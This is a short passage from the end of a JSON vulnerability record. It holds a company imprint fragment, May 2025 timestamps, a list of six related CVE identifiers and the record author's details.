N\u00fcrnberg\nGesch\u00e4ftsf\u00fchrer: Ivo Totev, Andrew McDonald, Werner Knoblich", "creation_timestamp": "2025-05-14T13:48:57.849042+00:00", "timestamp": "2025-05-14T13:48:57.849042+00:00", "related_vulnerabilities": ["CVE-2025-46803", "CVE-2025-23395", "CVE-2025-46802", "CVE-2023-24626", "CVE-2025-46805", "CVE-2025-46804"], "author": {"login": "adulau", "name": "Alexandre Dulaunoy", "uuid": "c933734a-9be8-4142-889e-26e95c752803"}}
